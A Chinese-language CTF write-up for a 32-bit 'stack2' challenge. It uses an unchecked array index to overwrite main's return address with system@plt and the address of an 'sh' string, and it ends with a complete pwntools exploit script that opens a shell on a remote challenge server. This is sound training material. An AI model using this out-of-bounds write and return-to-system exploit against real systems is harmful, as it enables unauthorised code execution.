前面的必要流程就不多说啦 这道题开了栈溢出保护 运行一下似乎找不到可以利用的点
那就看看这里吧 v13这个数组 在第三个选项change的时候没有限制 so 我们可以在main函数结束的时候改变返回地址 hackhere函数里有个system('/bin/bash')不同于system('/bin/sh')打通之后会出现没有bash所以我们不能直接利用hackhere这个函数的地址当作main函数的返回地址!
我们可以把plt表的system函数的地址当作返回地址,传参'sh'
思路有啦 我们接下来就要考虑在哪里传入返回地址呢 也就是说main函数的retn距离v13这个数组的首地址的偏移是多少(重头戏!!)
调用call __isoc99_scanf()录入v7
ebp+var_88存放的是v7 mov eax [ebp+var_88] 把v7的值存入ax 在把ax寄存器里的v7存入cx寄存器
ebp+var_70存放的是v13这个数组 lea edx ebp+var_70 把v13存放于dx寄存器
ebp+var_7c存放的是i的值 把i的值存放于ax寄存器中
add eax edx ax=ax+dx i=0 ax存放数组的首地址
mov [eax] cl 把cx寄存器中第16位的数据放入ax寄存器存的值的地址里 也就是v13[]的首地址哇
add [ebp+var_7c] 1 i加一
所以我们知道 当程序运行到0x080486D5的时候ax寄存器中存放的就是v13[]的首地址
看这里 main endp上面有个retn 所以当程序运行到0x080488F2的时候sp栈顶存放的是返回地址
求偏移
第一次在 0x080486D5处下断点
此时ax 0xffffcf48
第一次在 0x080488F2处下断点
此时 sp 0xffffcfcc
偏移= 0xffffcfcc-0xffffcf48 =0x84
plt表的system函数的地址 0x08048450
'sh'这个可有趣儿啦
rodata这个地方 0x08048980 开始存入/bin/sh /的地址 0x08048980
b 的地址 0x08048981 类推 s 的地址 0x08048987
所以system的参数:0x08048987
exp脚本:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('61.147.171.105',63831)
#p=process('./stack2')
def send_number(offest,number):
p.sendlineafter('5. exit',b'3')
p.sendlineafter('which number to change:',str(offest))
p.sendlineafter('new number:',str(number))
p.recvuntil('How many numbers you have:')
p.sendline(b'1')
p.recvuntil('Give me your numbers')
p.sendline(b'1')
send_number(0x84,0x50)
send_number(0x85,0x84)
send_number(0x86,0x04)
send_number(0x87,0x08)
# 这里空出来4个字节 是因为调用函数的时候(这里是system函数)需要先压入返回地址 这四个字节是给返回地址留的
send_number(0x8c,0x87)
send_number(0x8d,0x89)
send_number(0x8e,0x04)
send_number(0x8f,0x08)
p.sendlineafter('5. exit',b'5') #让main函数结束
p.interactive()
有什么疑问可以在评论区留言嗷